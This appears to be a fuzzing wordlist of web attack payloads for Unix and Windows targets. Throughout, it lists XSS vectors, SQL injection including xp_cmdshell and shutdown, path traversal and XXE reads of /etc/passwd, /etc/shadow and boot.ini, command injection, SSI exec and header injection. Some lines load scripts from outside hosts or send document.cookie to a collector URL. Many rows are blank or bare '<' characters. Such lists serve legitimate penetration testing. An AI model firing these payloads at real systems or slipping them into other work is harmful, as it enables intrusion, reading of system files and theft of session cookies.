| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
| <IMG SRC="javascript:alert('XSS');"> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=JaVaScRiPt:alert('XSS')> | |
| <IMG SRC=javascript:alert("XSS")> | |
| <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> | |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
| SRC=
<IMG 6;avascript:alert('XSS')> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC="jav ascript:alert('XSS');"> | |
| <IMG SRC="jav	ascript:alert('XSS');"> | |
| <IMG SRC="jav
ascript:alert('XSS');"> | |
| <IMG SRC="jav
ascript:alert('XSS');"> | |
| <IMG SRC="  javascript:alert('XSS');"> | |
| <IMG%0aSRC%0a=%0a"%0aj%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0at%0a:%0aa%0al%0ae%0ar%0at%0a(%0a'%0aX%0aS%0aS%0a'%0a)%0a"%0a> | |
| <IMG SRC=java%00script:alert(\"XSS\")> | |
| <SCR%00IPT>alert(\"XSS\")</SCR%00IPT> | |
| <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| <SCRIPT SRC=http://ha.ckers.org/xss.js?<B> | |
| <IMG SRC="javascript:alert('XSS')" | |
| <SCRIPT>a=/XSS/ | |
| \";alert('XSS');// | |
| <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> | |
| <BODY BACKGROUND="javascript:alert('XSS')"> | |
| <BODY ONLOAD=alert('XSS')> | |
| <IMG DYNSRC="javascript:alert('XSS')"> | |
| <IMG LOWSRC="javascript:alert('XSS')"> | |
| <BGSOUND SRC="javascript:alert('XSS');"> | |
| <BR SIZE="&{alert('XSS')}"> | |
| <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> | |
| <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> | |
| <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> | |
| <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> | |
| <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> | |
| <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> | |
| <IMG SRC='vbscript:msgbox("XSS")'> | |
| <IMG SRC="mocha:[code]"> | |
| <IMG SRC="livescript:[code]"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> | |
| <META HTTP-EQUIV="Link" Content="<javascript:alert('XSS')>; REL=stylesheet"> | |
| <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> | |
| <IFRAME SRC="javascript:alert('XSS');"></IFRAME> | |
| <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> | |
| <TABLE BACKGROUND="javascript:alert('XSS')"> | |
| <DIV STYLE="background-image: url(javascript:alert('XSS'))"> | |
| <DIV STYLE="background-image: url(javascript:alert('XSS'))"> | |
| <DIV STYLE="width: expression(alert('XSS'));"> | |
| <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> | |
| <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> | |
| <XSS STYLE="xss:expression(alert('XSS'))"> | |
| exp/*<XSS STYLE='no\xss:noxss("*//*"); | |
| <STYLE TYPE="text/javascript">alert('XSS');</STYLE> | |
| <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> | |
| <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> | |
| <BASE HREF="javascript:alert('XSS');//"> | |
| <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> | |
| <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> | |
| getURL("javascript:alert('XSS')") | |
| a="get"; | |
| <!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:alert('XSS');"> | |
| <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> | |
| <HTML><BODY> | |
| <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> | |
| <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> | |
| <? echo('<SCR)'; | |
| <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> | |
| <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- | |
| <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> | |
| # a wide sample of malicious input for unix-like targets | |
| ! | |
| !' | |
| !@#$%%^#$%#$@#$%$$@#$%^^**(() | |
| !@#0%^#0##018387@#0^^**(() | |
| " | |
| " or "a"="a | |
| " or "x"="x | |
| " or 0=0 # | |
| " or 0=0 -- | |
| " or 1=1 or ""=" | |
| " or 1=1-- | |
| "' or 1 --'" | |
| ") or ("a"="a | |
| \ | |
| ||1# | |
| "<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////dev/random"">]><foo>&xxe;</foo>" | |
| "<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////etc/passwd"">]><foo>&xxe;</foo>" | |
| "<?xml version=""1.0"" encoding=""ISO-8859-1""?><foo><![CDATA[' or 1=1 or ''=']]></foo>" | |
| "<?xml version=""1.0"" encoding=""ISO-8859-1""?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>" | |
| "<HTML xmlns:xss><?import namespace=""xss"" implementation=""http://ha.ckers.org/xss.htc""><xss:xss>XSS</xss:xss></HTML>" | |
| "<xml ID=""xss""><I><B><IMG SRC=""javas<!-- -->cript:alert('XSS')""></B></I></xml><SPAN DATASRC=""#xss"" DATAFLD=""B"" DATAFORMATAS=""HTML""></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>" | |
| "<xml ID=I><X><C><![CDATA[<IMG SRC=""javas]]><![CDATA[cript:alert('XSS');"">]]>" | |
| "><script>" | |
| "><script>alert(1)</script> | |
| "><script>document.location='http://your.site.com/cgi-bin/cookie.cgi?'+document.cookie</script> | |
| ">xxx<P>yyy | |
| "\t" | |
| # | |
| #' | |
| #' | |
| #xA | |
| #xA#xD | |
| #xD | |
| #xD#xA | |
| $NULL | |
| $null | |
| % | |
| %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%% | |
| %00 | |
| %00../../../../../../etc/passwd | |
| %00../../../../../../etc/shadow | |
| %00/ | |
| %00/etc/passwd%00 | |
| %01%02%03%04%0a%0d%0aADSF | |
| %08x | |
| %0A/usr/bin/id | |
| %0A/usr/bin/id%0A | |
| %0Aid | |
| %0Aid%0A | |
| %0a ping -i 30 127.0.0.1 %0a | |
| %oa ping -n 30 127.0.0.1 %0a | |
| %0a id %0a | |
| %0aDATA%0afoo%0a%2e%0aMAIL+FROM:+<youremail>%0aRCPT+TO:+<youremail>%0aDATA%0aFrom:+<youremail>%0aTo:+<youremail>%0aSubject:+tst%0afoo%0a%2e%0a | |
| %0d | |
| %0d%0aDATA%0d%0afoo%0d%0a%2e%0d%0aMAIL+FROM:+<youremail>%0d%0aRCPT+TO:+<youremail>%0d%0aDATA%0d%0aFrom:+<youremail>%0d%0aTo:+<youremail>%0d%0aSubject:+test%0d%0afoo%0d%0a%2e%0d%0a | |
| %0d%0aX-Injection-Header:%20AttackValue | |
| %20 | |
| %20$(sleep%2050) | |
| %20'sleep%2050' | |
| %20d | |
| %20n | |
| %20s | |
| %20x | |
| %20| | |
| %21 | |
| %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E | |
| %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini | |
| %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00 | |
| %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 | |
| %2500 | |
| %250a | |
| %26 | |
| %27%20or%201=1 | |
| %28 | |
| %29 | |
| %2A | |
| %2A%28%7C%28mail%3D%2A%29%29 | |
| %2A%28%7C%28objectclass%3D%2A%29%29 | |
| %2A%7C | |
| %2C | |
| %2e%2e%2f | |
| %3C | |
| %3C%3F | |
| %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E | |
| %3cscript%3ealert("XSS");%3c/script%3e | |
| %3cscript%3ealert(document.cookie);%3c%2fscript%3e | |
| %5C | |
| %5C/ | |
| %60 | |
| %7C | |
| %7f | |
| %99999999999s | |
| %A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A%A | |
| %E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E%E | |
| %F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F%F | |
| %G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G%G | |
| %X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X | |
| %a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a%a | |
| %d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d%d | |
| %e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e%e | |
| %f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f%f | |
| %ff | |
| %g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g%g | |
| %i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i%i | |
| %o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o%o | |
| %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p | |
| %s%p%x%d | |
| %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s | |
| %u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u | |
| %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x | |
| & | |
| & id | |
| & ping -i 30 127.0.0.1 & | |
| & ping -n 30 127.0.0.1 & | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| | |
| | |
| | |
| | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| < | |
| ' | |
| '%20OR | |
| &id | |
| < | |
| < | |
| <!--#exec%20cmd="/bin/cat%20/etc/passwd"--> | |
| <!--#exec%20cmd="/bin/cat%20/etc/shadow"--> | |
| <!--#exec%20cmd="/usr/bin/id;--> | |
| <>"'%;)(&+ | |
| <script>alert(document.cookie);<script>alert | |
| <script>alert(document.cookie);</script> | |
| ";id" | |
| ' | |
| ' (select top 1 | |
| ' -- | |
| ' ; | |
| ' UNION ALL SELECT | |
| ' UNION SELECT | |
| ' or ''=' | |
| ' or '1'='1 | |
| ' or '1'='1'-- | |
| ' or 'x'='x | |
| ' or (EXISTS) | |
| ' or 0=0 # | |
| ' or 0=0 -- | |
| ' or 1 in (@@version)-- | |
| ' or 1=1 or ''=' | |
| ' or 1=1-- | |
| ' or a=a-- | |
| ' or uid like '% | |
| ' or uname like '% | |
| ' or user like '% | |
| ' or userid like '% | |
| ' or username like '% | |
| '%20or%201=1 | |
| '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E | |
| '';!--"<XSS>=&{()} | |
| ') or ('a'='a | |
| '-- | |
| '; exec master..xp_cmdshell | |
| '; exec xp_regread | |
| '; waitfor delay '0:30:0'-- | |
| ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} | |
| ';shutdown-- | |
| '><script>alert(document.cookie);</script> | |
| '><script>alert(document.cookie)</script> | |
| 'hi' or 'x'='x'; | |
| 'or select * | |
| 'sqlattempt1 | |
| '||UTL_HTTP.REQUEST | |
| '||Utl_Http.request('http://<yourservername>') from dual-- | |
| ( | |
| (') | |
| (sqlattempt2) | |
| ) | |
| )))))))))) | |
| * | |
| *' | |
| *' | |
| *(|(mail=*)) | |
| *(|(objectclass=*)) | |
| */* | |
| *| | |
| + | |
| +%00 | |
| ,@variable | |
| - | |
| -- | |
| --'; | |
| --sp_password | |
| -1 | |
| -1.0 | |
| -2 | |
| -20 | |
| -268435455 | |
| ..%%35%63 | |
| ..%%35c | |
| ..%25%35%63 | |
| ..%255c | |
| ..%5c | |
| ..%bg%qf | |
| ..%c0%af | |
| ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini | |
| ..%u2215 | |
| ..%u2216 | |
| ../ | |
| ../../../../../../../../../../../../etc/hosts | |
| ../../../../../../../../../../../../etc/hosts%00 | |
| ../../../../../../../../../../../../etc/passwd | |
| ../../../../../../../../../../../../etc/passwd%00 | |
| ../../../../../../../../../../../../etc/shadow | |
| ../../../../../../../../../../../../etc/shadow%00 | |
| ..\ | |
| ..\..\..\..\..\..\..\..\..\..\etc\passwd | |
| ..\..\..\..\..\..\..\..\..\..\etc\passwd%00 | |
| ..\..\..\..\..\..\..\..\..\..\etc\shadow | |
| ..\..\..\..\..\..\..\..\..\..\etc\shadow%00 | |
| .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd | |
| .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow | |
| / | |
| /%00/ | |
| /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00 | |
| /%2A | |
| /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd | |
| /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow | |
| /' | |
| /' | |
| /,%ENV,/ | |
| /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd | |
| /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow | |
| /.../.../.../.../.../ | |
| /../../../../../../../../%2A | |
| /../../../../../../../../../../../etc/passwd%00.html | |
| /../../../../../../../../../../../etc/passwd%00.jpg | |
| /../../../../../../../../../../etc/passwd | |
| /../../../../../../../../../../etc/passwd^^ | |
| /../../../../../../../../../../etc/shadow | |
| /../../../../../../../../../../etc/shadow^^ | |
| /../../../../../../../../bin/id| | |
| /..\../..\../..\../..\../..\../..\../boot.ini | |
| /..\../..\../..\../..\../..\../..\../etc/passwd | |
| /..\../..\../..\../..\../..\../..\../etc/shadow | |
| /./././././././././././etc/passwd | |
| /./././././././././././etc/shadow | |
| // | |
| //* | |
| /etc/passwd | |
| /etc/shadow | |
| /index.html|id| | |
| 0 | |
| 0 or 1=1 | |
| 00 | |
| 0xfffffff | |
| 1 | |
| 1 or 1 in (@@version)-- | |
| 1 or 1=1-- | |
| 1.0 | |
| 1; waitfor delay '0:30:0'-- | |
| 1;SELECT%20* | |
| 1||Utl_Http.request('http://<yourservername>') from dual-- | |
| 2 | |
| 2147483647 | |
| 268435455 | |
| 65536 | |
| :response.write 111111 | |
| ; | |
| ; ping 127.0.0.1 ; | |
| ;/usr/bin/id\n | |
| ;echo 111111 | |
| ;id | |
| ;id; | |
| ;id\n | |
| ;id| | |
| ;ls -la | |
| ;system('/usr/bin/id') | |
| ;system('cat%20/etc/passwd') | |
| ;system('id') | |
| ;|/usr/bin/id| | |
| < | |
| < script > < / script> | |
| <! | |
| <![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]> | |
| <![CDATA[<script>var n=0;while(true){n++;}</script>]]> | |
| </foo> | |
| << | |
| <<< | |
| <<script>alert("XSS");//<</script> | |
| <>"'%;)(&+ | |
| <? | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/passwd">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/shadow">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xxe;</foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo> | |
| <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo> | |
| <HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML> | |
| <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> | |
| <IMG DYNSRC="javascript:alert('XSS')"> | |
| <IMG LOWSRC="javascript:alert('XSS')"> | |
| <IMG SRC="  javascript:alert('XSS');"> | |
| <IMG SRC="jav ascript:alert('XSS');"> | |
| <IMG SRC="jav	ascript:alert('XSS');"> | |
| <IMG SRC="jav
ascript:alert('XSS');"> | |
| <IMG SRC="jav
ascript:alert('XSS');"> | |
| <IMG SRC="javascript:alert('XSS')" | |
| <IMG SRC="javascript:alert('XSS');"> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=JaVaScRiPt:alert('XSS')> | |
| <IMG SRC=`javascript:alert("'XSS'")`> | |
| <IMG SRC=javascript:alert("XSS")> | |
| <IMG SRC=javascript:alert('XSS')> | |
| <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> | |
| <IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'> | |
| <IMG%20SRC='javasc ript:alert(document.cookie)'> | |
| <IMG%20SRC='javascript:alert(document.cookie)'> | |
| <foo></foo> | |
| <name>','')); phpinfo(); exit;/*</name> | |
| <script>alert("XSS")</script> | |
| <script>alert(document.cookie)</script> | |
| <xml ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> | |
| <xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> | |
| <xss><script>alert('XSS')</script></vulnerable> | |
| <youremail>%0aBcc:<youremail> | |
| <youremail>%0aCc:<youremail> | |
| <youremail>%0d%0aBcc:<youremail> | |
| <youremail>%0d%0aCc:<youremail> | |
| = | |
| =' | |
| =-- | |
| =; | |
| > | |
| ?x= | |
| ?x=" | |
| ?x=> | |
| ?x=| | |
| @' | |
| @' | |
| @* | |
| @variable | |
| A | |
| ABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x| | |
| FALSE | |
| NULL | |
| PRINT @@variable | |
| TRUE | |
| XXXXX.%p | |
| XXXXX`perl -e 'print ".%p" x 80'` | |
| ['] | |
| ['] | |
| \ | |
| \";alert('XSS');// | |
| \"blah | |
| \' | |
| \' | |
| \..\..\..\..\..\..\..\..\..\..\etc\passwd | |
| \..\..\..\..\..\..\..\..\..\..\etc\passwd%00 | |
| \..\..\..\..\..\..\..\..\..\..\etc\shadow | |
| \..\..\..\..\..\..\..\..\..\..\etc\shadow%00 | |
| \0 | |
| \00 | |
| \00\00 | |
| \00\00\00 | |
| \0\0 | |
| \0\0\0 | |
| \\ | |
| \\'/bin/cat%20/etc/passwd\\' | |
| \\'/bin/cat%20/etc/shadow\\' | |
| \\/ | |
| \\\\* | |
| \\\\?\\ | |
| \n/bin/ls -al\n | |
| \n/usr/bin/id; | |
| \n/usr/bin/id\n | |
| \n/usr/bin/id| | |
| \nid; | |
| \nid\n | |
| \nid| | |
| \nnetstat -a%\n | |
| \t | |
| \u003C | |
| \u003c | |
| \x23 | |
| \x27 | |
| \x27UNION SELECT | |
| \x27\x4F\x52 SELECT * | |
| \x27\x6F\x72 SELECT * | |
| \x3C | |
| \x3D \x27 | |
| \x3D \x3B' | |
| \x3c | |
| ^' | |
| ^' | |
| ` | |
| `/usr/bin/id` | |
| `dir` | |
| `id` | |
| `perl -e 'print ".%p" x 80'`%n | |
| `ping 127.0.0.1` | |
| a);/usr/bin/id | |
| a);/usr/bin/id; | |
| a);/usr/bin/id| | |
| a);id | |
| a);id; | |
| a);id| | |
| a)|/usr/bin/id | |
| a)|/usr/bin/id; | |
| a)|id | |
| a)|id; | |
| a;/usr/bin/id | |
| a;/usr/bin/id; | |
| a;/usr/bin/id| | |
| a;id | |
| a;id; | |
| a;id| | |
| http://<yourservername>/ | |
| id%00 | |
| id%00| | |
| insert | |
| like | |
| limit | |
| null | |
| or | |
| or 0=0 # | |
| or 0=0 -- | |
| or 1=1-- | |
| or%201=1 | |
| or%201=1 -- | |
| response.write 111111 | |
| something%00html | |
| update | |
| x' or 1=1 or 'x'='y | |
| x' or name()='username' or 'x'='y | |
| xsstest | |
| xsstest%00"<>' | |
| {'} | |
| |/usr/bin/id | |
| |/usr/bin/id| | |
| |id | |
| |id; | |
| |id| | |
| |ls | |
| |ls -la | |
| |nid\n | |
| |usr/bin/id\n | |
| || | |
| || ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 & | |
| ||/usr/bin/id; | |
| ||/usr/bin/id| | |
| } | |
| # a wide sample of malicious input for windows targets | |
| A | |
| TRUE | |
| FALSE | |
| 0 | |
| 00 | |
| 1 | |
| -1 | |
| 1.0 | |
| -1.0 | |
| 2 | |
| -2 | |
| -20 | |
| 65536 | |
| 268435455 | |
| -268435455 | |
| 2147483647 | |
| 0xfffffff | |
| NULL | |
| null | |
| \0 | |
| \00 | |
| < script > < / script> | |
| %0a | |
| %00 | |
| +%00 | |
| \0 | |
| \0\0 | |
| \0\0\0 | |
| \00 | |
| \00\00 | |
| \00\00\00 | |
| $null | |
| $NULL | |
| `dir` | |
| \nnetstat -a%\n | |
| \"blah | |
| |dir| | |
| ";id" | |
| dir%00 | |
| dir%00| | |
| |dir | |
| |dir| | |
| |/bin/ls -al | |
| ?x= | |
| ?x=" | |
| ?x=| | |
| ?x=> | |
| /boot.ini | |
| ABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x| | |
| ../../boot.ini | |
| /../../../../../../../../%2A | |
| %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00 | |
| %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini | |
| /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini | |
| ../../../../../../../../conf/server.xml | |
| C:/inetpub/wwwroot/global.asa | |
| C:\inetpub\wwwroot\global.asa | |
| C:/boot.ini | |
| C:\boot.ini | |
| ../../../../../../../../../../../../localstart.asp%00 | |
| ../../../../../../../../../../../../localstart.asp | |
| ../../../../../../../../../../../../boot.ini%00 | |
| ../../../../../../../../../../../../boot.ini | |
| /./././././././././././boot.ini | |
| /../../../../../../../../../../../boot.ini%00 | |
| /../../../../../../../../../../../boot.ini | |
| /..\../..\../..\../..\../..\../..\../boot.ini | |
| /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini | |
| \..\..\..\..\..\..\..\..\..\..\boot.ini | |
| ..\..\..\..\..\..\..\..\..\..\boot.ini%00 | |
| ..\..\..\..\..\..\..\..\..\..\boot.ini | |
| /../../../../../../../../../../../boot.ini%00.html | |
| /../../../../../../../../../../../boot.ini%00.jpg | |
| /.../.../.../.../.../ | |
| ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini | |
| /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini | |
| %0d%0aX-Injection-Header:%20AttackValue | |
| !@#0%^#0##018387@#0^^**(() | |
| %01%02%03%04%0a%0d%0aADSF | |
| /,%ENV,/ | |
| <!--#exec%20cmd="dir"--> | |
| <!--#exec%20cmd="dir"--> | |
| % | |
| # | |
| * | |
| } | |
| ; | |
| / | |
| \ | |
| \\ | |
| \\/ | |
| \\\\* | |
| \\\\?\\ | |
| < | |
| < | |
| < | |
| < | |
| < | |
| << | |
| <<< | |
| | | |
| || | |
| ` | |
| - | |
| -- | |
| *| | |
| ^' | |
| \' | |
| /' | |
| @' | |
